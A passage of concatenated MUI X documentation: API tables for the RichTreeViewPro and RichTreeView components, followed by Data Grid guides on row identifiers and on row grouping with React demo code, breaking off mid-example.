| classes | `object` | - | No | Override or extend the styles applied to the component. |
| dataSource | `{ getChildrenCount: func, getTreeItems: func }` | - | No |  |
| dataSourceCache | `{ clear: func, get: func, set: func }` | - | No |  |
| defaultExpandedItems | `Array<string>` | `[]` | No |  |
| defaultSelectedItems | `any` | `[]` | No |  |
| disabledItemsFocusable | `bool` | `false` | No |  |
| disableSelection | `bool` | `false` | No |  |
| expandedItems | `Array<string>` | - | No |  |
| expansionTrigger | `'content' \| 'iconContainer'` | `'content'` | No |  |
| getItemChildren | `function(item: R) => Array<R>` | `(item) => item.children` | No |  |
| getItemId | `function(item: R) => TreeViewItemId` | `(item) => item.id` | No |  |
| getItemLabel | `function(item: R) => string` | `(item) => item.label` | No |  |
| id | `string` | - | No |  |
| isItemDisabled | `function(item: R) => boolean` | - | No |  |
| isItemEditable | `func \| bool` | `() => false` | No |  |
| isItemReorderable | `function(itemId: TreeViewItemId) => boolean` | `() => true` | No |  |
| isItemSelectionDisabled | `function(item: R) => boolean` | - | No |  |
| itemChildrenIndentation | `number \| string` | `12px` | No |  |
| itemsReordering | `bool` | `false` | No |  |
| multiSelect | `bool` | `false` | No |  |
| onExpandedItemsChange | `function(event: React.SyntheticEvent, itemIds: Array<TreeViewItemId>) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent, itemId: TreeViewItemId) => void` | - | No |  |
| onItemExpansionToggle | `function(event: React.SyntheticEvent \| null, itemId: TreeViewItemId, isExpanded: boolean) => void` | - | No |  |
| onItemFocus | `function(event: React.SyntheticEvent \| null, itemId: TreeViewItemId) => void` | - | No |  |
| onItemLabelChange | `function(itemId: TreeViewItemId, newLabel: string) => void` | - | No |  |
| onItemPositionChange | `function(parameters: object, parameters.itemId: TreeViewItemId, parameters.oldPosition: TreeViewItemReorderPosition, parameters.newPosition: TreeViewItemReorderPosition) => void` | - | No |  |
| onItemSelectionToggle | `function(event: React.SyntheticEvent, itemId: TreeViewItemId, isSelected: boolean) => void` | - | No |  |
| onSelectedItemsChange | `function(event: React.SyntheticEvent, itemIds: Array<TreeViewItemId> \| TreeViewItemId) => void` | - | No |  |
| selectedItems | `any` | - | No |  |
| selectionPropagation | `{ descendants?: bool, parents?: bool }` | `{ parents: false, descendants: false }` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLUListElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiRichTreeViewPro` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `RichTreeViewProRoot` | `.MuiRichTreeViewPro-root` | Element rendered at the root. |
| collapseIcon | `undefined` | - | The default icon used to collapse the item. |
| expandIcon | `undefined` | - | The default icon used to expand the item. |
| endIcon | `undefined` | - | The default icon displayed next to an end item.
This is applied to all Tree Items and can be overridden by the TreeItem `icon` slot prop. |
| item | `TreeItem.` | `.MuiRichTreeViewPro-item` | Custom component to render a Tree Item. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | itemCheckbox | Styles applied to the item's checkbox element. |
| - | itemContent | Styles applied to the item's content element. |
| - | itemDragAndDropOverlay | Styles applied to the item's drag and drop overlay element. |
| - | itemErrorIcon | Styles applied to the item's error icon element |
| - | itemGroupTransition | Styles applied to the item's transition element. |
| - | itemIconContainer | Styles applied to the item's icon container element icon. |
| - | itemLabel | Styles applied to the item's label element. |
| - | itemLabelInput | Styles applied to the item's label input element (visible only when editing is enabled). |
| - | itemLoadingIcon | Styles applied to the item's loading icon element |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view-pro/src/RichTreeViewPro/RichTreeViewPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view-pro/src/RichTreeViewPro/RichTreeViewPro.tsx)

---

# Source: https://mui.com/x/api/tree-view/rich-tree-view.md

# RichTreeView API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Tree View - Quickstart](/x/react-tree-view/quickstart/)
- [Rich Tree View - Customization](/x/react-tree-view/rich-tree-view/customization/)
- [Rich Tree View - Label editing](/x/react-tree-view/rich-tree-view/editing/)
- [Rich Tree View - Expansion](/x/react-tree-view/rich-tree-view/expansion/)
- [Rich Tree View - Focus](/x/react-tree-view/rich-tree-view/focus/)
- [Rich Tree View - Items](/x/react-tree-view/rich-tree-view/items/)
- [Rich Tree View - Selection](/x/react-tree-view/rich-tree-view/selection/)
- [Tree Item customization](/x/react-tree-view/tree-item-customization/)

## Import

```jsx
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
// or
import { RichTreeView } from '@mui/x-tree-view';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| apiRef | `{ current?: { focusItem?: func, getItem?: func, getItemDOMElement?: func, getItemOrderedChildrenIds?: func, getItemTree?: func, getParentId?: func, isItemExpanded?: func, setEditedItem?: func, setIsItemDisabled?: func, setItemExpansion?: func, setItemSelection?: func, updateItemLabel?: func } }` | - | No |  |
| checkboxSelection | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| defaultExpandedItems | `Array<string>` | `[]` | No |  |
| defaultSelectedItems | `any` | `[]` | No |  |
| disabledItemsFocusable | `bool` | `false` | No |  |
| disableSelection | `bool` | `false` | No |  |
| expandedItems | `Array<string>` | - | No |  |
| expansionTrigger | `'content' \| 'iconContainer'` | `'content'` | No |  |
| getItemChildren | `function(item: R) => Array<R>` | `(item) => item.children` | No |  |
| getItemId | `function(item: R) => TreeViewItemId` | `(item) => item.id` | No |  |
| getItemLabel | `function(item: R) => string` | `(item) => item.label` | No |  |
| id | `string` | - | No |  |
| isItemDisabled | `function(item: R) => boolean` | - | No |  |
| isItemEditable | `func \| bool` | `() => false` | No |  |
| isItemSelectionDisabled | `function(item: R) => boolean` | - | No |  |
| itemChildrenIndentation | `number \| string` | `12px` | No |  |
| multiSelect | `bool` | `false` | No |  |
| onExpandedItemsChange | `function(event: React.SyntheticEvent, itemIds: Array<TreeViewItemId>) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent, itemId: TreeViewItemId) => void` | - | No |  |
| onItemExpansionToggle | `function(event: React.SyntheticEvent \| null, itemId: TreeViewItemId, isExpanded: boolean) => void` | - | No |  |
| onItemFocus | `function(event: React.SyntheticEvent \| null, itemId: TreeViewItemId) => void` | - | No |  |
| onItemLabelChange | `function(itemId: TreeViewItemId, newLabel: string) => void` | - | No |  |
| onItemSelectionToggle | `function(event: React.SyntheticEvent, itemId: TreeViewItemId, isSelected: boolean) => void` | - | No |  |
| onSelectedItemsChange | `function(event: React.SyntheticEvent, itemIds: Array<TreeViewItemId> \| TreeViewItemId) => void` | - | No |  |
| selectedItems | `any` | - | No |  |
| selectionPropagation | `{ descendants?: bool, parents?: bool }` | `{ parents: false, descendants: false }` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLUListElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiRichTreeView` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `RichTreeViewRoot` | `.MuiRichTreeView-root` | Element rendered at the root. |
| collapseIcon | `undefined` | - | The default icon used to collapse the item. |
| expandIcon | `undefined` | - | The default icon used to expand the item. |
| endIcon | `undefined` | - | The default icon displayed next to an end item.
This is applied to all Tree Items and can be overridden by the TreeItem `icon` slot prop. |
| item | `TreeItem.` | `.MuiRichTreeView-item` | Custom component to render a Tree Item. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | itemCheckbox | Styles applied to the item's checkbox element. |
| - | itemContent | Styles applied to the item's content element. |
| - | itemGroupTransition | Styles applied to the item's transition element. |
| - | itemIconContainer | Styles applied to the item's icon container element icon. |
| - | itemLabel | Styles applied to the item's label element. |
| - | itemLabelInput | Styles applied to the item's label input element (visible only when editing is enabled). |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view/src/RichTreeView/RichTreeView.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view/src/RichTreeView/RichTreeView.tsx)

---

# Source: https://mui.com/x/react-data-grid/row-definition.md

---
title: Data Grid - Row definition
---

# Data Grid - Row definition

Define your rows.

## Feeding data

The rows can be defined with the `rows` prop, which expects an array of objects.

:::warning
The `rows` prop should keep the same reference between two renders except when you want to apply new rows.
Otherwise, the Data Grid will re-apply heavy work like sorting and filtering.
:::

```tsx
import { DataGrid } from '@mui/x-data-grid';

export default function RowsGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[{ field: 'name' }]}
        rows={[
          { id: 1, name: 'React' },
          { id: 2, name: 'MUI' },
        ]}
      />
    </div>
  );
}

```

## Row identifier

Each row must have a unique identifier.

This identifier is used internally to identify the row in the various models—for instance, the row selection model—and to track the row across updates.

By default, the Data Grid looks for a property named `id` in the data set to get that identifier.

If the row's identifier is not called `id`, then you need to use the `getRowId` prop to tell the Data Grid where it's located.

The following demo shows how to use `getRowId` to grab the unique identifier from a property named `internalId`:

```tsx
function getRowId(row) {
  return row.internalId;
}

<DataGrid getRowId={getRowId} />;
```

```tsx
import { DataGrid } from '@mui/x-data-grid';

export default function RowsGridWithGetRowId() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[{ field: 'name' }]}
        rows={[
          { internalId: 1, name: 'React' },
          { internalId: 2, name: 'MUI' },
        ]}
        getRowId={(row) => row.internalId}
      />
    </div>
  );
}

```

If no such unique identifier exists in the data set, then you must create it by some other means, but this scenario should be avoided because it leads to issues with other features of the Data Grid.

Note that it is not necessary to create a column to display the unique identifier data.
The Data Grid pulls this information directly from the data set itself, not from anything displayed on the screen.

:::warning
Just like the `rows` prop, the `getRowId` function should keep the same JavaScript reference between two renders.
Otherwise, the Data Grid will re-apply heavy work like sorting and filtering.

It could be achieved by either defining the prop outside the component scope or by memoizing using the `React.useCallback` hook if the function reuses something from the component scope.
:::

## Selectors

{{"component": "modules/components/SelectorsDocs.js", "category": "Rows"}}

## Styling rows

You can check the [styling rows](/x/react-data-grid/style/#styling-rows) section for more information.

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/server-side-data/row-grouping.md

# Source: https://mui.com/x/react-data-grid/row-grouping.md

---
title: Data Grid - Row grouping
---

# Data Grid - Row grouping [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Group rows together based on column values in the Data Grid.

The Data Grid Premium provides a row grouping feature to create subsets of rows based on repeated column values or custom functions.

For example, in the demo below, movies are grouped based on their respective values in the **Company** column—try clicking the **>** on the left side of a row group to expand it:

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingBasicExample() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium {...data} apiRef={apiRef} initialState={initialState} />
    </div>
  );
}

```

:::info
This document covers client-side implementation.
For row grouping on the server side, see [server-side row grouping](/x/react-data-grid/server-side-data/row-grouping/).
:::

## Initializing row grouping

To initialize row grouping, provide a model to the `initialState` prop on the `<DataGridPremium />` component.
The model's parameters correspond to the columns to be checked for repeating values.

```ts
<DataGridPremium
  initialState={{
    rowGrouping: {
      model: ['company', 'director'],
    },
  }}
/>
```

This example creates groups for the **Company** column with nested subgroups based on the **Director** column:

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingInitialState() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        disableRowSelectionOnClick
        initialState={{
          rowGrouping: {
            model: ['company', 'director'],
          },
        }}
      />
    </div>
  );
}

```

## Controlled row grouping

Use the `rowGroupingModel` prop to control the state of the criteria used for grouping.
You can use the `onRowGroupingModelChange` prop to listen to changes to the grouping criteria and update the prop accordingly.

```tsx
import * as React from 'react';
import { DataGridPremium, GridRowGroupingModel } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingControlled() {
  const data = useMovieData();

  const [rowGroupingModel, setRowGroupingModel] =
    React.useState<GridRowGroupingModel>(['company', 'director']);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        rowGroupingModel={rowGroupingModel}
        onRowGroupingModelChange={(model) => setRowGroupingModel(model)}
      />
    </div>
  );
}

```

## Grouping columns

:::success
A note on terminology: **Grouping column** refers to the column that holds row groups.
This is sometimes—but not always—distinct from a **grouped column**, which is the column containing shared values that serve as the basis for row groups.
:::

### Single grouping column

By default, the Data Grid displays a single column that holds all grouped columns, no matter how many criteria are provided.
If there's only one criterion, the name of the grouping column will be the same as that of the grouped column from which it's derived.
When there are multiple criteria, the grouping column is named **Group**.

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingSingleGroupingCol() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium {...data} apiRef={apiRef} initialState={initialState} />
    </div>
  );
}

```

### Multiple grouping columns

To display a grouping column for each criterion, set the `rowGroupingColumnMode` prop to `multiple`.

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingMultipleGroupingCol() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        rowGroupingColumnMode="multiple"
        initialState={initialState}
      />
    </div>
  );
}

```

### Custom grouping column

Use the `groupingColDef` prop to customize the rendering of the grouping column.
You can override any property from the column definition (`GridColDef`) interface, with the exceptions of the `field`, the `type`, and the properties related to inline editing.

:::success
For better performance, keep `groupingColDef` prop reference stable between two renders.
:::

```tsx
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> = {
  headerName: 'Group',
};

export default function RowGroupingCustomGroupingColDefObject() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        disableRowSelectionOnClick
        initialState={initialState}
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

By default, when using the object format, the properties are applied to all grouping columns.
This means that if `rowGroupingColumnMode` is set to `multiple`, then all columns will share the same `groupingColDef` properties.

To override properties for specific grouping columns, or to apply different overrides based on the current grouping criteria, you can pass a callback function to `groupingColDef` instead of an object with its config.
The callback is called for each grouping column, and it receives the respective column's fields as parameters.

The demo below illustrates this approach to provide buttons for toggling between different grouping criteria:

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridGroupingColDefOverrideParams,
  GridRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import Stack from '@mui/material/Stack';
import Chip from '@mui/material/Chip';
import Box from '@mui/material/Box';

export default function RowGroupingCustomGroupingColDefCallback() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const [rowGroupingModel, setRowGroupingModel] = React.useState([
    'company',
    'director',
  ]);

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    rowGroupingModel,
  });

  const rowGroupingModelStr = rowGroupingModel.join('-');

  const groupingColDef = React.useCallback(
    (params: GridGroupingColDefOverrideParams) => {
      const override: GridGroupingColDefOverride = {};
      if (params.fields.includes('director')) {
        return {
          headerName: 'Director',
          valueFormatter: (value: string, row: GridRowModel) => {
            const rowId = apiRef.current?.getRowId(row);
            if (!rowId) {
              return undefined;
            }

            const rowNode = apiRef.current?.getRowNode(rowId);
            if (rowNode?.type === 'group' && rowNode?.groupingField === 'director') {
              return `by ${rowNode.groupingKey ?? ''}`;
            }
            return undefined;
          },
        };
      }

      return override;
    },
    [apiRef],
  );

  return (
    <div style={{ width: '100%' }}>
      <Stack
        sx={{ width: '100%', mb: 1 }}
        direction="row"
        alignItems="flex-start"
        columnGap={1}
      >
        <Chip
          label="Group by company"
          onClick={() => setRowGroupingModel(['company'])}
          variant="outlined"
          color={rowGroupingModelStr === 'company' ? 'primary' : undefined}
        />
        <Chip
          label="Group by company and director"
          onClick={() => setRowGroupingModel(['company', 'director'])}
          variant="outlined"
          color={rowGroupingModelStr === 'company-director' ? 'primary' : undefined}
        />
      </Stack>
      <Box sx={{ height: 400 }}>
        <DataGridPremium
          {...data}
          apiRef={apiRef}
          disableRowSelectionOnClick
          rowGroupingModel={rowGroupingModel}
          initialState={initialState}
          groupingColDef={groupingColDef}
        />
      </Box>
    </div>
  );
}

```

### Grouping rows with custom cell renderer

By default, when rows are grouped by a column that uses a [custom cell component](/x/react-data-grid/cells/), that component is also used for the cells in the grouping column.

For example, the demo below groups together movies based on the values in the **Rating** column.
Those cells contain a custom component with a star icon, and that same component is used to fill the grouping column.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { useMovieData } from '@mui/x-data-grid-generator';
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import GradeIcon from '@mui/icons-material/Grade';

const ratingColDef: GridColDef = {
  field: 'imdbRating',
  headerName: 'Rating',
  type: 'number',
  width: 150,
  renderCell: (params) => {
    if (
      params.rowNode.type === 'group' &&
      params.field === params.rowNode.groupingField
    ) {
      return '';
    }
    return (
      <Box sx={{ display: 'flex', alignItems: 'center' }}>
        <GradeIcon htmlColor="#faaf00" />
        <span style={{ marginLeft: 2, marginRight: 8 }}>
          <b>{params.value}</b>/10
        </span>
      </Box>
    );
  },
};

export default function RowGroupingCustomCell() {
  const data = useMovieData();
  const columns = React.useMemo(
    () => [...data.columns, ratingColDef],
    [data.columns],
  );

  return (
    <Box sx={{ height: 350, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columns}
        initialState={{ rowGrouping: { model: ['imdbRating'] } }}
      />
    </Box>
  );
}

```

You can opt out of this default behavior by returning `params.value` from the `renderCell()` function—this ensures that the grouping rows will only display the shared value rather than the entire component.

```tsx
const ratingColDef: GridColDef = {
  // ...
  renderCell: (params) => {
    if (params.rowNode.type === 'group') {
      return params.value;
    }

    return (
      // ...
    );
  },
};
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { useMovieData } from '@mui/x-data-grid-generator';
import { DataGridPremium, GridColDef } from '@mui/x-data-grid-premium';
import GradeIcon from '@mui/icons-material/Grade';

const ratingColDef: GridColDef = {
  field: 'imdbRating',
  headerName: 'Rating',
  type: 'number',
  width: 150,
  renderCell: (params) => {
    if (params.rowNode.type === 'group') {
      return params.value;
    }
    return (
      <Box sx={{ display: 'flex', alignItems: 'center' }}>
        <GradeIcon htmlColor="#faaf00" />
        <span style={{ marginLeft: 2, marginRight: 8 }}>
          <b>{params.value}</b>/10
        </span>
      </Box>
    );
  },
};

export default function RowGroupingCustomCellDefault() {
  const data = useMovieData();
  const columns = React.useMemo(
    () => [...data.columns, ratingColDef],
    [data.columns],
  );

  return (
    <Box sx={{ height: 350, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columns}
        initialState={{ rowGrouping: { model: ['imdbRating'] } }}
      />
    </Box>
  );
}

```

### Show values for leaves

By default, grouped rows display no value in their grouping column cells—these cells are called **leaves**.
To display a value in a leaf, provide the `leafField` property to the `groupingColDef`.

The demo below uses `leafField` to display values from the **Title** column in the leaves.

```tsx
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> = {
  leafField: 'title',
};

export default function RowGroupingLeafWithValue() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      columns: {
        columnVisibilityModel: {
          // Hide the column used for leaves
          title: false,
        },
      },
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        groupingColDef={groupingColDef}
        initialState={initialState}
      />
    </div>
  );
}

```

### Hide descendant count

By default, row group cells display the number of descendant rows they contain, in parentheses.
Use the `hideDescendantCount` property of the `groupingColDef` to hide this number.

```tsx
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> = {
  hideDescendantCount: true,
};

export default function RowGroupingHideDescendantCount() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        disableRowSelectionOnClick
        initialState={initialState}
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

### Hide grouped columns

By default, [grouped columns](#grouping-columns) remain visible when grouping is applied.
This means that when there's only one grouping criterion, the grouping column and the grouped column both display the same values, which may be redundant or unnecessary.
You can use the `useKeepGroupedColumnsHidden` utility hook to hide grouped columns.
This automatically hides grouped columns when added to the model, and displays them when removed.

The two examples below show how to use `columnVisibilityModel` and `initialState` with the `useKeepGroupedColumnsHidden` hook.
You can mix the two examples to support both at the same time.

```tsx
// Usage with the initial state
const apiRef = useGridApiRef();

const initialState = useKeepGroupedColumnsHidden({
  apiRef,
  initialState: {
    rowGrouping: {
      model: ['company'],
    },
    columns: {
      // Other hidden columns
      columnVisibilityModel: { gross: false },
    },
  },
});

return <DataGridPremium {...data} apiRef={apiRef} initialState={initialState} />;
```

```tsx
// Usage with the controlled model
const apiRef = useGridApiRef();

const [rowGroupingModel, setRowGroupingModel] = React.useState([
  'company',
  'director',
]);

const initialState = useKeepGroupedColumnsHidden({
  apiRef,
  rowGroupingModel,
});

return (
  <DataGridPremium
    {...data}
    apiRef={apiRef}
    initialState={initialState}
    rowGroupingModel={rowGroupingModel}
  />
);
```

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingUseKeepGroupedColumnsHidden() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium {...data} apiRef={apiRef} initialState={initialState} />
    </div>
  );
}

```

## Disable row grouping

### For all columns

To disable row grouping for all columns, set the `disableRowGrouping` prop to `true`.
This disables all features related to row grouping, unless a model is provided, in which case row grouping is set to read-only mode as described in [Grouping non-groupable columns programmatically](#grouping-non-groupable-columns-programmatically).

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingDisabled() {
  const data = useMovieData();

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium {...data} disableRowGrouping />
    </div>
  );
}

```

### For specific columns

To disable grouping for a specific column, set the `groupable` property on its `GridColDef` to `false`.

In the example below, the **Director** column cannot be grouped, even though there are repeating values.
(The **Title** and **Gross** columns cannot be grouped in any examples in this doc because there are no repeating values.)

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridColDef,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingColDefCanBeGrouped() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  const columnWithNoDirectorGroup = React.useMemo<GridColDef[]>(
    () =>
      data.columns.map((colDef) =>
        colDef.field === 'director' ? { ...colDef, groupable: false } : colDef,
      ),
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        columns={columnWithNoDirectorGroup}
        disableRowSelectionOnClick
        initialState={initialState}
      />
    </div>
  );
}

```

### Grouping non-groupable columns programmatically

To apply row grouping programmatically on non-groupable columns (columns with `groupable: false` in the `GridColDef`), you can provide the row grouping model in one of three ways:

1. Pass `rowGrouping.model` to the `initialState` prop. This [initializes grouping](/x/react-data-grid/row-grouping/#initializing-row-grouping) with the provided model.
2. Provide the `rowGroupingModel` prop. This [controls grouping](/x/react-data-grid/row-grouping/#controlled-row-grouping) with the provided model.
3. Call the API method `setRowGroupingModel`. This sets the aggregation with the provided model.

In the following example, the **Company** column is not groupable through the interface, but the `rowGroupingModel` prop is passed to generate a read-only row group.

```tsx
import * as React from 'react';
import { DataGridPremium, GridRowGroupingModel } from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingReadOnly() {
  const data = useMovieData();

  const columns = React.useMemo(
    () =>
      data.columns.map((c) => ({
        ...c,
        groupable: c.field !== 'company',
      })),
    [data.columns],
  );

  const [rowGroupingModel, setRowGroupingModel] =
    React.useState<GridRowGroupingModel>(['company', 'director']);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columns}
        rowGroupingModel={rowGroupingModel}
        onRowGroupingModelChange={(model) => setRowGroupingModel(model)}
      />
    </div>
  );
}

```

## Using groupingValueGetter() for complex grouping value

The grouping value must be either a string, a number, `Date`, `null`, or `undefined`.
If your cell value is more complex, or if you want to use a different value for grouping than the one displayed in the cell, use the `groupingValueGetter()` property in the column definition:

```ts
const columns: GridColDef[] = [
  {
    field: 'year',
    type: 'number',
    valueFormatter: (value) => (value ? `${value}` : ''),
    // Group by decade
    groupingValueGetter: (value) => {
      const yearDecade = Math.floor(value / 10) * 10;
      return `${yearDecade.toString().slice(-2)}'s`;
    },
  },
  // ...
];
```

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  useGridApiRef,
  GridColDef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingGroupingValueGetter() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const columnsWithComposer = React.useMemo<GridColDef[]>(
    () =>
      data.columns.map((column) => {
        if (column.field === 'year') {
          return {
            field: 'year',
            headerName: 'Year',
            type: 'number',
            groupingValueGetter: (value) => {
              const yearDecade = Math.floor(value / 10) * 10;
              return `${yearDecade.toString().slice(-2)}'s`;
            },
            valueFormatter: (value) => (value ? `${value}` : ''),
            availableAggregationFunctions: ['max', 'min'],
          };
        }
        return column;
      }),

    [data.columns],
  );

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['year'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columnsWithComposer}
        apiRef={apiRef}
        initialState={initialState}
      />
    </div>
  );
}

```

:::info
If your column also has a `valueGetter` property, the value passed to the `groupingValueGetter` method will still be the row value from the `row[field]`.
:::

## Rows with missing groups

If a grouping criterion's key is `null` or `undefined` for a given row, the Data Grid will treat that row as if it doesn't have a value and exclude it from grouping.

The demo below illustrates this behavior—movies are grouped by **Cinematic Universe**, and rows with no value for this column are displayed individually before those with values are displayed in groups:

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingRowsWithMissingGroups() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['cinematicUniverse'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        disableRowSelectionOnClick
